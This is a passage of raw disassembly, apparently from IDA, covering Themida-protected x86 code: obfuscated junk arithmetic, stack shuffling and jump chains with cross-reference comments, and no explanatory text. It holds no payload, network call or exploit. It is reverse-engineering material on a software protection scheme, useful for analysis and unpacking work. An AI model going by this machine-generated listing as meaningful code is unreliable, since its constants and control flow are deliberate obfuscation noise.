esi mov esi, 7DA81BDBh mov ecx, esi pop esi add eax, ecx pop ecx mov edi, [esp] add esp, 4 jmp loc_55A097 ; --------------------------------------------------------------------------- loc_561AA0: ; CODE XREF: Themida_:00555030j add ebp, edi pop edi push eax mov eax, 7C6D7E66h and eax, 23CC24B6h add eax, 0DFB3DBDEh jmp loc_550B4B ; --------------------------------------------------------------------------- loc_561AB8: ; CODE XREF: Themida_:0055A98Ej add esp, 4 push dword ptr [edi+eax*4] push edi mov edi, esp push ebp mov ebp, 715B7ACFh dec ebp sub ebp, 4D840591h not ebp jmp loc_563203 ; --------------------------------------------------------------------------- loc_561AD5: ; CODE XREF: Themida_:00555C95j add edx, 28C615A4h neg edx shl edx, 5 jmp loc_556B1A ; --------------------------------------------------------------------------- loc_561AE5: ; CODE XREF: Themida_:0055FDCFj push dword ptr [esp] pop eax jmp loc_56457A ; --------------------------------------------------------------------------- loc_561AEE: ; CODE XREF: Themida_:0055EDB1j mov ecx, esi pop esi jmp loc_563004 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push 1B7Dh mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_55BB39 ; --------------------------------------------------------------------------- loc_561B16: ; CODE XREF: Themida_:0055A32Fj pop esi shr esi, 7 shr esi, 1 inc esi jmp loc_55FA7D ; --------------------------------------------------------------------------- loc_561B22: ; CODE XREF: Themida_:0055F88Fj push 373h jmp loc_560121 ; --------------------------------------------------------------------------- loc_561B2C: ; CODE XREF: Themida_:0055CFA5j mov edi, 533855F8h jmp loc_562748 ; --------------------------------------------------------------------------- loc_561B36: ; CODE XREF: Themida_:0055A258j push esp pop eax add eax, 4 jmp loc_5589FD ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Themida_:005638BAj xor ebp, 0C37649h mov ebx, ebp jmp loc_55160E ; --------------------------------------------------------------------------- push edx push eax jmp loc_551E11 ; --------------------------------------------------------------------------- loc_561B56: ; CODE XREF: Themida_:00550679j mov esp, [esp] loc_561B59: ; CODE XREF: Themida_:00560F58j sub esp, 4 mov [esp], ecx jmp loc_553AF6 ; --------------------------------------------------------------------------- loc_561B64: ; CODE XREF: Themida_:00559D3Aj add esi, 2 push edx mov edx, esp push ecx mov ecx, 41027766h shl ecx, 7 xor ecx, 813BB304h add edx, ecx push dword ptr [esp] jmp loc_56592E ; --------------------------------------------------------------------------- loc_561B86: ; CODE XREF: Themida_:0055D13Cj sub esi, ebx add esi, 5C9E1B2Ah add esi, 143D37ADh push dword ptr [esp] jmp loc_55151C ; --------------------------------------------------------------------------- loc_561B9C: ; CODE XREF: Themida_:00564A9Dj add [esp+4], ebx add dword ptr [esp+4], 371A77CCh mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 push edx mov edx, 640162E6h jmp loc_558C6A ; --------------------------------------------------------------------------- loc_561BD0: ; CODE XREF: Themida_:0055BB3Fj mov [esp], esi mov esi, 36745064h neg esi and esi, 4EBD4784h xor esi, 2CB466E9h add esi, 0FFFFFFFFh xor esi, 3A9B0D2Fh jmp loc_55BE01 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_5653CB ; --------------------------------------------------------------------------- loc_561C08: ; CODE XREF: Themida_:00560A0Aj xor [esp], eax xor eax, [esp] jmp loc_560598 ; --------------------------------------------------------------------------- loc_561C13: ; CODE XREF: Themida_:00564222j add ebx, 4 xchg ebx, [esp] pop esp push 32AAh mov [esp], edx mov edx, 4 push ecx mov ecx, 72B74BF0h add ebp, ecx pop ecx add ebp, edx sub ebp, 72B74BF0h pop edx push ebx jmp loc_55D903 ; --------------------------------------------------------------------------- loc_561C3F: ; CODE XREF: Themida_:00565101j push small 58B1h pop bx push edx mov dx, 4171h sub dx, 48Fh add dx, 1899h and dx, 6D5Ah shr dx, 6 sub dx, 9B81h jmp loc_5522FF ; --------------------------------------------------------------------------- loc_561C67: ; CODE XREF: Themida_:005584B0j pop ebx mov edi, 4DA76630h xor edi, ebp pop ebp xor edi, 440D4287h jmp loc_5629C3 ; --------------------------------------------------------------------------- loc_561C7B: ; CODE XREF: Themida_:00563AB2j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub eax, 165A0101h sub eax, ebx add eax, 165A0101h add eax, 58272D4Ch jmp loc_55BE90 ; --------------------------------------------------------------------------- loc_561C9B: ; CODE XREF: Themida_:005616F4j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55AE01 ; --------------------------------------------------------------------------- loc_561CAD: ; CODE XREF: Themida_:0055A0AEj mov ebp, 4 jmp loc_55342C ; --------------------------------------------------------------------------- loc_561CB7: ; CODE XREF: Themida_:0055CF5Aj mov ebp, esi pop esi add ebx, 508A2E37h sub ebx, ebp sub ebx, 508A2E37h jmp loc_565945 ; --------------------------------------------------------------------------- loc_561CCD: ; CODE XREF: Themida_:0055814Fj mov edx, esi pop esi push esi mov esi, 5605FBD9h add edx, esi pop esi add edi, edx pop edx sub esi, 16F015BBh sub esi, 49DA35BBh push ebx jmp loc_565C94 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 2 mov [esp], cx push edx mov dl, 1 mov cl, dl pop edx push small 2D56h jmp loc_561F80 ; --------------------------------------------------------------------------- loc_561D07: ; CODE XREF: Themida_:005644BDj mov esp, [esp] and ah, 0CCh jmp loc_558A5E ; --------------------------------------------------------------------------- loc_561D12: ; CODE XREF: Themida_:0055D36Bj mov [esp], edx mov dl, 8Fh add bl, dl pop edx add dl, bl jmp loc_55AAA9 ; --------------------------------------------------------------------------- loc_561D21: ; CODE XREF: Themida_:00558C65j add ebp, 78787672h push eax jmp loc_558B64 ; --------------------------------------------------------------------------- loc_561D2D: ; CODE XREF: Themida_:0055767Aj mov ebx, ecx jmp loc_562B28 ; --------------------------------------------------------------------------- loc_561D34: ; CODE XREF: Themida_:00559201j xor edi, 20E937D2h add esi, edi pop edi shl esi, 1 not esi xor esi, 31180F15h push esi inc dword ptr [esp] pop esi jmp loc_562249 ; --------------------------------------------------------------------------- loc_561D51: ; CODE XREF: Themida_:005601D3j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_564FC2 ; --------------------------------------------------------------------------- loc_561D61: ; CODE XREF: Themida_:00561111j add esp, 4 sub esp, 4 mov [esp], eax mov eax, 15A00537h jmp loc_56317E ; --------------------------------------------------------------------------- loc_561D77: ; CODE XREF: Themida_:0055B5BAj mov edx, [esp] push esi mov esi, esp jmp loc_5632A2 ; --------------------------------------------------------------------------- loc_561D82: ; CODE XREF: Themida_:0055CE8Dj dec edi add edi, 21EF619Dh and edi, 196E2E86h add edi, 6FFEEDC1h sub eax, edi mov edi, [esp] jmp loc_56541B ; --------------------------------------------------------------------------- loc_561D9F: ; CODE XREF: Themida_:005603E6j add esp, 4 sub esp, 4 jmp loc_55F3BE ; --------------------------------------------------------------------------- loc_561DAA: ; CODE XREF: Themida_:0055D172j pop eax jmp loc_55F020 ; --------------------------------------------------------------------------- loc_561DB0: ; CODE XREF: Themida_:0055609Aj mov ebx, 4E1230F1h jmp loc_55B533 ; --------------------------------------------------------------------------- loc_561DBA: ; CODE XREF: Themida_:005590B6j sub esi, edi mov edi, [esp] jmp loc_55D112 ; --------------------------------------------------------------------------- loc_561DC4: ; CODE XREF: Themida_:005656B2j pop edi jmp loc_554838 ; --------------------------------------------------------------------------- loc_561DCA: ; CODE XREF: Themida_:0056136Fj xor ebx, 0C4DB4EBFh add eax, 340B355Dh add eax, ebx sub eax, 340B355Dh jmp loc_55209C ; --------------------------------------------------------------------------- loc_561DE1: ; CODE XREF: Themida_:00559D11j xchg edx, [esp] pop ecx xor eax, ecx xor ecx, eax xor eax, ecx push esi mov esi, esp sub esp, 4 mov [esp], ebp jmp loc_564DFF ; --------------------------------------------------------------------------- loc_561DF9: ; CODE XREF: Themida_:00553786j pop eax sub ecx, ebx sub ecx, 1D6D7C7Bh mov ebx, [esp] jmp loc_552B7E ; --------------------------------------------------------------------------- loc_561E0A: ; CODE XREF: Themida_:0055C997j sub edx, ecx push dword ptr [esp] jmp loc_560D90 ; --------------------------------------------------------------------------- loc_561E14: ; CODE XREF: Themida_:0055900Aj mov [esp], edi mov edi, esp push edx mov edx, 4 push ecx mov ecx, 48BC7CD8h sub edi, ecx pop ecx add edi, edx add edi, 48BC7CD8h pop edx push ecx mov ecx, 4 push ecx mov ecx, 55B9Eh add edi, ecx pop ecx add edi, ecx push 2299h mov [esp], edx mov edx, 655749D8h shr edx, 8 sub edx, 256565DDh sub edx, 0DAFA95CEh sub edi, edx pop edx push dword ptr [esp] pop ecx add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_557040 ; --------------------------------------------------------------------------- loc_561E76: ; CODE XREF: Themida_:005656DEj mov eax, esp jmp loc_560658 ; --------------------------------------------------------------------------- loc_561E7D: ; CODE XREF: Themida_:00555D63j add ebx, ebp mov ebp, [esp] jmp loc_557020 ; --------------------------------------------------------------------------- loc_561E87: ; CODE XREF: Themida_:005596B0j sub esi, 381A1A6Ah push edi push ebp jmp loc_5605CC ; --------------------------------------------------------------------------- loc_561E94: ; CODE XREF: Themida_:00550EE8j xor [esp], esi xor esi, [esp] jmp loc_55C5C7 ; --------------------------------------------------------------------------- loc_561E9F: ; CODE XREF: Themida_:00563A71j shr dl, 8 not dl jmp loc_562333 ; --------------------------------------------------------------------------- loc_561EA9: ; CODE XREF: Themida_:005552A3j mov ebp, 2EB94660h or ebp, 164A0E4Eh and ebp, 1E1250EAh neg ebp and ebp, 1BEB232Bh xor ebp, 3AAE53B6h sub ebp, 17DEF90Ah sub edi, ebp pop ebp add ecx, edi jmp loc_555DDA ; --------------------------------------------------------------------------- loc_561ED8: ; CODE XREF: Themida_:0055FCFBj mov edi, 0BE95D63h add edi, 4D421B75h sub esp, 4 mov [esp], ecx mov ecx, 1B7753F0h jmp loc_55D954 ; --------------------------------------------------------------------------- loc_561EF6: ; CODE XREF: Themida_:005529FAj mov ebp, [esp] jmp loc_564EA5 ; --------------------------------------------------------------------------- loc_561EFE: ; CODE XREF: Themida_:0056406Aj mov ecx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 add edi, 4 xchg edi, [esp] pop esp shr eax, 0Bh jmp loc_552264 ; --------------------------------------------------------------------------- loc_561F20: ; CODE XREF: Themida_:00555321j mov esi, 26F0161Ah xor esi, edi pop edi xor esi, 39802F39h dec esi xor esi, 7C0960B7h add edi, esi jmp loc_550F8A ; --------------------------------------------------------------------------- loc_561F3C: ; CODE XREF: Themida_:005615C5j pop ecx push 3524h mov [esp], eax push esi push 39F655ECh pop esi add esi, 4D181B62h add esi, 0FFFFFFFFh jmp loc_55B39E ; --------------------------------------------------------------------------- loc_561F5D: ; CODE XREF: Themida_:00554AF0j push esi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop esi and ebx, edi push dword ptr [esp] mov edi, [esp] push ecx jmp loc_554656 ; --------------------------------------------------------------------------- loc_561F80: ; CODE XREF: Themida_:00561D02j mov [esp], dx jmp loc_563D9A ; --------------------------------------------------------------------------- loc_561F89: ; CODE XREF: Themida_:00558808j mov cl, 3Ah sub cl, 0B2h sub al, cl pop ecx jmp loc_55C249 ; --------------------------------------------------------------------------- loc_561F96: ; CODE XREF: Themida_:0055EA6Cj add edi, 1 add edi, 76A23265h push ebx push ecx mov ecx, 776B4378h push ebp mov ebp, 0A212A39h mov ebx, ebp mov ebp, [esp] add esp, 4 xor ebx, ecx jmp loc_563ED6 ; --------------------------------------------------------------------------- loc_561FC1: ; CODE XREF: Themida_:005563E5j mov ebp, esi push eax mov eax, ebp mov edi, eax jmp loc_55AE5E ; --------------------------------------------------------------------------- loc_561FCD: ; CODE XREF: Themida_:0055D6F1j xor esi, edx xchg esi, edx jmp loc_5506D8 ; --------------------------------------------------------------------------- loc_561FD6: ; CODE XREF: Themida_:0055865Ej sub edx, ebx add edx, 503B6DC5h push dword ptr [esp] jmp loc_55941F ; --------------------------------------------------------------------------- mov cx, [esp] push edi push 164Bh mov [esp], esp sub esp, 4 mov [esp], edx push edi mov edi, 4 mov edx, edi pop edi jmp loc_556AF4 ; --------------------------------------------------------------------------- loc_56200A: ; CODE XREF: Themida_:00565574j add eax, esi add eax, 4C247E1h mov esi, [esp] push ebx push esp pop ebx add ebx, 4 jmp loc_564A0F ; --------------------------------------------------------------------------- loc_562022: ; CODE XREF: Themida_:005544FEj mov [esp], edi push esp pop edi jmp loc_5575DE ; --------------------------------------------------------------------------- loc_56202C: ; CODE XREF: Themida_:00559034j mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_555DBA ; --------------------------------------------------------------------------- loc_56203B: ; CODE XREF: Themida_:0055C1DCj add edx, 4 xchg edx, [esp] pop esp add esp, 4 add edx, ebx jmp loc_55B740 ; --------------------------------------------------------------------------- loc_56204F: ; CODE XREF: Themida_:005595C3j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ebp sub esp, 4 jmp loc_5613E7 ; --------------------------------------------------------------------------- loc_562065: ; CODE XREF: Themida_:0055BFA8j add esp, 2 jmp loc_55B28B ; --------------------------------------------------------------------------- loc_562070: ; CODE XREF: Themida_:00555B4Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_55AFCC ; --------------------------------------------------------------------------- loc_56208A: ; CODE XREF: Themida_:0055F5D5j add esp, 4 jmp loc_55B15C ; --------------------------------------------------------------------------- loc_562095: ; CODE XREF: Themida_:0055E6A8j add ebp, edx sub ebp, 3AFD160Dh pop edx push edi push 7D6A3ACCh pop edi not edi add edi, 0CB8F6E13h sub ebp, edi pop edi add esi, ebp jmp loc_55200C ; --------------------------------------------------------------------------- loc_5620B7: ; CODE XREF: Themida_:0055491Cj sub esp, 4 jmp loc_55A93B ; --------------------------------------------------------------------------- loc_5620C2: ; CODE XREF: Themida_:0055224Cj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp push esp pop dword ptr [esp] jmp loc_55FF6A ; --------------------------------------------------------------------------- loc_5620DB: ; CODE XREF: Themida_:00558B91j pop edx mov esi, [esp] jmp loc_552598 ; --------------------------------------------------------------------------- loc_5620E4: ; CODE XREF: Themida_:00553B7Aj mov ah, 37h sub dl, ah pop eax sub al, dl jmp loc_55916B ; --------------------------------------------------------------------------- loc_5620F0: ; CODE XREF: Themida_:0055CC3Fj or esi, 71836617h add esi, 0DB7CE540h jmp loc_56039B ; --------------------------------------------------------------------------- loc_562101: ; CODE XREF: Themida_:0055BE5Aj add eax, 4 add eax, 2 xchg eax, [esp] pop esp sub al, bl jmp loc_558E07 ; --------------------------------------------------------------------------- loc_562116: ; CODE XREF: Themida_:00552C86j mov esp, [esp] shr eax, 0Ah xor eax, ecx push 71B4h mov [esp], eax not dword ptr [esp] jmp loc_55FD58 ; --------------------------------------------------------------------------- loc_56212E: ; CODE XREF: Themida_:00550564j xchg ebp, [esp] pop esp push edx mov edx, 5D8D63DDh shr edx, 2 shl edx, 3 jmp loc_55EF5B ; --------------------------------------------------------------------------- loc_562143: ; CODE XREF: Themida_:0055F5F5j shr ecx, 5 xor ecx, 66832C1Ah neg ecx sub ecx, 3D1FB1EEh xor ebp, ecx jmp loc_55E68D ; --------------------------------------------------------------------------- loc_56215B: ; CODE XREF: Themida_:00557A69j add esi, edi jmp loc_55E606 ; --------------------------------------------------------------------------- loc_562162: ; CODE XREF: Themida_:0055DBB3j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55E9E5 ; --------------------------------------------------------------------------- loc_562175: ; CODE XREF: Themida_:0056056Aj push edi mov edi, 1 mov ecx, edi pop edi sub edx, ecx pop ecx jmp loc_5505F1 ; --------------------------------------------------------------------------- loc_562186: ; CODE XREF: Themida_:00560E6Bj push dword ptr [esp] jmp loc_55E8DD ; --------------------------------------------------------------------------- loc_56218E: ; CODE XREF: Themida_:00556160j push 1038h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push esp pop dword ptr [esp] sub esp, 4 mov [esp], ebp push esi push ecx jmp loc_56493C ; --------------------------------------------------------------------------- mov cx, [esp] push 1190h mov [esp], ebp push 1619h mov [esp], esp push ebx mov ebx, 4 add dword ptr [esp+4], 6B631C51h jmp loc_55073A ; --------------------------------------------------------------------------- loc_5621DA: ; CODE XREF: Themida_:00552044j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esi, 4 jmp loc_562905 ; --------------------------------------------------------------------------- loc_5621F5: ; CODE XREF: Themida_:00559FBAj pop ebx sub edx, 119C62BCh add edx, 7747527Ch sub edx, ebx push ecx mov ecx, 7747527Ch sub edx, ecx pop ecx add edx, 119C62BCh pop ebx add edx, edi add edx, 3F406E85h mov edi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_551E33 ; --------------------------------------------------------------------------- loc_562234: ; CODE XREF: Themida_:0055E86Aj sub dword ptr [esp], 344D76B3h jmp loc_553ED0 ; --------------------------------------------------------------------------- loc_562240: ; CODE XREF: Themida_:0055B399j mov edi, [esp] push ebp jmp loc_551E3C ; --------------------------------------------------------------------------- loc_562249: ; CODE XREF: Themida_:00561D4Cj sub esi, 24C6C00Ah add ebx, esi mov esi, [esp] add esp, 4 jmp loc_555259 ; --------------------------------------------------------------------------- loc_56225C: ; CODE XREF: Themida_:005659C6j pop esp mov [esp], ebx mov ebx, 6FD967F5h push ebp mov ebp, 0E83104Dh shl ebp, 4 neg ebp xchg ebx, ebp neg ebx xchg ebx, ebp shl ebp, 7 sub ebp, 0C24328E3h or ebx, ebp pop ebp push ebp push edi push 47D0019Fh pop edi sub edi, 0C81E99DEh mov ebp, edi pop edi sub ebx, ebp jmp loc_562D5B ; --------------------------------------------------------------------------- loc_56229A: ; CODE XREF: Themida_:00551E9Ej add ebp, 8BF3020h jmp loc_564E90 ; --------------------------------------------------------------------------- loc_5622A5: ; CODE XREF: Themida_:0055472Ej xchg ecx, ebp jmp loc_55B05B ; --------------------------------------------------------------------------- loc_5622AC: ; CODE XREF: Themida_:0055F9CFj or eax, eax jmp loc_553BE7 ; --------------------------------------------------------------------------- loc_5622B3: ; CODE XREF: Themida_:005530A1j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55BBC7 ; --------------------------------------------------------------------------- loc_5622C6: ; CODE XREF: Themida_:00552887j push ebp push 5A3C7AECh jmp loc_559F0F ; --------------------------------------------------------------------------- loc_5622D1: ; CODE XREF: Themida_:00553354j push ebx pop eax pop ebx xor edi, eax mov eax, [esp] push edi mov edi, esp jmp loc_55E9F6 ; --------------------------------------------------------------------------- loc_5622E1: ; CODE XREF: Themida_:00560DF5j sub bl, dh pop dx or ch, bl pop ebx neg ch and ch, 6Fh inc ch jmp loc_55B109 ; --------------------------------------------------------------------------- loc_5622F4: ; CODE XREF: Themida_:0055DF52j mov edi, 6AAF788Ah add ebx, edi pop edi add eax, ebx jmp loc_555B6E ; --------------------------------------------------------------------------- loc_562303: ; CODE XREF: Themida_:00554926j add eax, 379F4D84h add eax, esi sub eax, 379F4D84h pop esi xchg eax, [esp] mov esp, [esp] push 24CCh mov [esp], esi push esp pop esi sub esp, 4 mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_550ED5 ; --------------------------------------------------------------------------- loc_562333: ; CODE XREF: Themida_:00561EA4j xor dl, 0E9h and bl, dl pop edx neg bl push 5D4Ah mov [esp], eax jmp loc_55E4B3 ; --------------------------------------------------------------------------- loc_562348: ; CODE XREF: Themida_:0055B183j add al, dl pop edx mov edx, [esp] push 7E3Ah mov [esp], edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55E497 ; --------------------------------------------------------------------------- loc_562371: ; CODE XREF: Themida_:00563036j add edi, 41652ED1h jmp loc_558458 ; --------------------------------------------------------------------------- loc_56237C: ; CODE XREF: Themida_:005610D4j add dword ptr [esp+4], 36541276h jmp loc_55219A ; --------------------------------------------------------------------------- loc_562389: ; CODE XREF: Themida_:00560444j sub esp, 4 mov [esp], edx mov dl, al mov ch, dl pop edx jmp loc_561346 ; --------------------------------------------------------------------------- loc_562399: ; CODE XREF: Themida_:0055F391j mov [esp], edx push 537h mov [esp], esp push edi push 4 pop edi add [esp+4], edi pop edi mov edx, [esp] add esp, 4 push ecx mov ecx, 4 push edi mov edi, 3DA25CF3h shl edi, 4 jmp loc_55ADE9 ; --------------------------------------------------------------------------- loc_5623CA: ; CODE XREF: Themida_:0055A65Aj mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] pop esp push edi push esp jmp loc_556B9A ; --------------------------------------------------------------------------- loc_5623DD: ; CODE XREF: Themida_:00559F91j sub esp, 4 mov [esp], ebp mov ebp, 51DA49C0h xor ebp, 5D05691Ah sub ebp, 3E7C7D34h not ebp xor ebp, 319D5C5Bh jmp loc_56467B ; --------------------------------------------------------------------------- loc_562404: ; CODE XREF: Themida_:00557985j neg eax xor eax, 0D7B69BF9h or edx, eax pop eax jmp loc_558E50 ; --------------------------------------------------------------------------- loc_562413: ; CODE XREF: Themida_:0055A072j add edi, esi pop esi jmp loc_553151 ; --------------------------------------------------------------------------- loc_56241B: ; CODE XREF: Themida_:0056010Cj add edx, 0F4188617h add eax, edx jmp loc_557A6E ; --------------------------------------------------------------------------- loc_562428: ; CODE XREF: Themida_:00558D75j not esi jmp loc_550760 ; --------------------------------------------------------------------------- loc_56242F: ; CODE XREF: Themida_:00553301j mov [esp], eax push edx mov edx, 80h mov eax, edx pop edx push 16BDh mov [esp], ebp mov ebp, eax mov esi, ebp jmp loc_55918C ; --------------------------------------------------------------------------- loc_56244C: ; CODE XREF: Themida_:0055B98Cj mov [esp], ebx mov ebx, 7168175Ch shr ebx, 7 add ebx, 36C95332h neg ebx not ebx jmp loc_55EBCE ; --------------------------------------------------------------------------- loc_562466: ; CODE XREF: Themida_:00553DC1j pop ecx inc al mov dh, al mov eax, [esp] add esp, 4 jmp loc_559DB0 ; --------------------------------------------------------------------------- loc_562476: ; CODE XREF: Themida_:00565AF7j shl ebx, 3 push 96Eh jmp loc_56047F ; --------------------------------------------------------------------------- loc_562483: ; CODE XREF: Themida_:00556B15j pop esi sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax push ecx push 0EB05382h pop ecx xor ecx, 773C6B2Eh jmp loc_552920 ; --------------------------------------------------------------------------- loc_5624A2: ; CODE XREF: Themida_:00551B09j push edi mov di, 57Fh dec di neg di xor di, 0FF4Fh xor cx, di pop edi add dx, 42BDh add dx, cx sub dx, 42BDh mov ecx, [esp] add esp, 4 shr dx, 4 push ecx jmp loc_563ABE ; --------------------------------------------------------------------------- loc_5624D2: ; CODE XREF: Themida_:00550450j neg edx xor edx, 2C1097Bh xor edx, 7D276394h add edx, 42559544h sub eax, edx pop edx jmp loc_552ABD ; --------------------------------------------------------------------------- loc_5624EE: ; CODE XREF: Themida_:0055073Ej sub dword ptr [esp+4], 6B631C51h mov ebx, [esp] add esp, 4 mov ebp, [esp] jmp loc_5570EF ; --------------------------------------------------------------------------- loc_562507: ; CODE XREF: Themida_:00554FDCj add ebp, 65A94200h shl ebp, 5 add ebp, 0C36B55A0h or ebx, ebp pop ebp not ebx xor ebx, 0DE6204EDh add eax, ebx pop ebx pop edx push 0B8Dh jmp loc_554A07 ; --------------------------------------------------------------------------- loc_56252F: ; CODE XREF: Themida_:0055B17Cj mov eax, 48F42A46h xor ecx, eax jmp loc_560A2D ; --------------------------------------------------------------------------- loc_56253B: ; CODE XREF: Themida_:00553036j push 204E185Ch pop ecx or ecx, 64C872B7h sub ecx, 16DD001Dh sub ecx, 4DF17ADEh mov eax, ecx pop ecx add ecx, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5649FD ; --------------------------------------------------------------------------- loc_56257D: ; CODE XREF: Themida_:0055CB31j pop esp movzx ecx, ax push ecx push esp pop ecx push edi mov edi, 2E663C60h shl edi, 3 sub edi, 1 sub esp, 4 mov [esp], ebx jmp loc_550C26 ; --------------------------------------------------------------------------- loc_56259E: ; CODE XREF: Themida_:005534BDj add dl, bh pop ebx sub dl, ch sub dl, 12h jmp loc_553677 ; --------------------------------------------------------------------------- loc_5625AB: ; CODE XREF: Themida_:00553C47j mov [esp], eax jmp loc_550F90 ; --------------------------------------------------------------------------- loc_5625B3: ; CODE XREF: Themida_:00560CD8j pop ebx jmp loc_553933 ; --------------------------------------------------------------------------- loc_5625B9: ; CODE XREF: Themida_:00564DD4j xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 4 push ebp mov ebp, 6151BACh dec ebp push esi push eax jmp loc_55D31F ; --------------------------------------------------------------------------- loc_5625D3: ; CODE XREF: Themida_:00557A74j add esp, 4 jmp loc_55DAB2 ; --------------------------------------------------------------------------- loc_5625DE: ; CODE XREF: Themida_:0055FA78j sub bl, dl pop edx add bl, al add bl, 65h jmp loc_55661F ; --------------------------------------------------------------------------- loc_5625EB: ; CODE XREF: Themida_:00551659j sub ebx, 44076AADh add ebx, eax add ebx, 44076AADh pop eax sub ebx, eax sub ebx, 7EB73787h sub ebx, 2E776209h sub ebx, 53262252h push ecx push 4EF4h mov [esp], esi mov esi, 589120BDh jmp loc_557527 ; --------------------------------------------------------------------------- loc_562621: ; CODE XREF: Themida_:0055277Fj mov edx, 4 add edi, edx mov edx, [esp] jmp loc_55F792 ; --------------------------------------------------------------------------- loc_562630: ; CODE XREF: Themida_:0055E44Ej mov edx, 4244DC4h neg edx sub edx, 0F865AEEBh mov ebp, edx pop edx and edx, ebp pop ebp or edx, 33250BE7h jmp loc_551E8B ; --------------------------------------------------------------------------- loc_56264E: ; CODE XREF: Themida_:00554EC8j shl edx, 2 xor edx, 3D16CE8h shl edx, 7 inc edx push edi mov edi, 51C14211h add edi, 370A76E2h or edi, 5C4D4756h sub edi, 4470194Fh neg edi jmp loc_55393C ; --------------------------------------------------------------------------- loc_56267A: ; CODE XREF: Themida_:00553B05j mov [esp], eax push 260Fh mov [esp], edx jmp loc_55B638 ; --------------------------------------------------------------------------- loc_56268A: ; CODE XREF: Themida_:00550D7Bj pop eax jmp loc_554CA2 ; --------------------------------------------------------------------------- loc_562690: ; CODE XREF: Themida_:00555FCAj xchg ebp, [esp] pop esp shr dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56269D: ; CODE XREF: Themida_:0055D844j sub edx, ecx sub edx, 3A836982h push edi mov edi, 49B9515Fh sub edx, edi pop edi pop ecx add edx, 5BA439C0h jmp loc_556131 ; --------------------------------------------------------------------------- loc_5626BA: ; CODE XREF: Themida_:0055F0D3j mov [esp], ecx mov ecx, 5D446D66h add edi, ecx pop ecx jmp loc_551F6E ; --------------------------------------------------------------------------- loc_5626CA: ; CODE XREF: Themida_:0055A50Aj mov esi, [esp] add esp, 4 add ebx, 4 xchg ebx, [esp] jmp loc_555106 ; --------------------------------------------------------------------------- loc_5626E1: ; CODE XREF: Themida_:00550F10j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esp push ecx push ebp push 2746298h pop ebp and ebp, 16AE7E1Ah xor ebp, 224621Ch mov ecx, ebp pop ebp add [esp+4], ecx pop ecx jmp loc_552CA8 ; --------------------------------------------------------------------------- loc_56270C: ; CODE XREF: Themida_:00558AA4j xchg ecx, [esp] pop esp jmp loc_559E5F ; --------------------------------------------------------------------------- loc_562715: ; CODE XREF: Themida_:0055DBADj sub esp, 4 jmp loc_55635A ; --------------------------------------------------------------------------- loc_562720: ; CODE XREF: Themida_:0055A72Dj add ebp, 78465Eh sub ebp, 2789041Dh push 7112h mov [esp], esi mov esi, 36207D6Bh shr esi, 2 inc esi push ebx mov ebx, 77627FB6h jmp loc_55167D ; --------------------------------------------------------------------------- loc_562748: ; CODE XREF: Themida_:00561B31j xor [esp+4], edi pop edi mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_554617 ; --------------------------------------------------------------------------- loc_56275E: ; CODE XREF: Themida_:0055754Fj xor dl, 40h jmp loc_56082A ; --------------------------------------------------------------------------- loc_562766: ; CODE XREF: Themida_:0055687Aj add eax, 2DC75421h jmp loc_5549C7 ; --------------------------------------------------------------------------- loc_562770: ; CODE XREF: Themida_:00555801j sub edx, 7C051BC1h jmp loc_55D4EE ; --------------------------------------------------------------------------- loc_56277B: ; CODE XREF: Themida_:00551100j movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] jmp loc_55F7AA ; --------------------------------------------------------------------------- loc_56278C: ; CODE XREF: Themida_:005560EDj push eax mov al, bh mov ch, al pop eax push ebx mov bl, ch mov dl, bl pop ebx mov ecx, [esp] add esp, 4 jmp loc_55EFF9 ; --------------------------------------------------------------------------- loc_5627A3: ; CODE XREF: Themida_:00553CDCj shr ebx, 5 push 61A5h mov [esp], ebp mov ebp, 73EE2962h shl ebp, 3 not ebp neg ebp push eax mov eax, 104A2E22h add ebp, eax pop eax add ebp, 5F119F8Dh jmp loc_563DDA ; --------------------------------------------------------------------------- loc_5627CE: ; CODE XREF: Themida_:005646CFj xchg edx, [esp] pop esp xor ebx, eax push 390Ah mov [esp], eax push dword ptr [esp] mov edx, [esp] jmp loc_55488C ; --------------------------------------------------------------------------- loc_5627E7: ; CODE XREF: Themida_:005562C6j shr ebx, 5 push edx mov edx, 56991150h dec edx dec edx push ebx jmp loc_553E27 ; --------------------------------------------------------------------------- loc_5627F8: ; CODE XREF: Themida_:0055F63Bj push 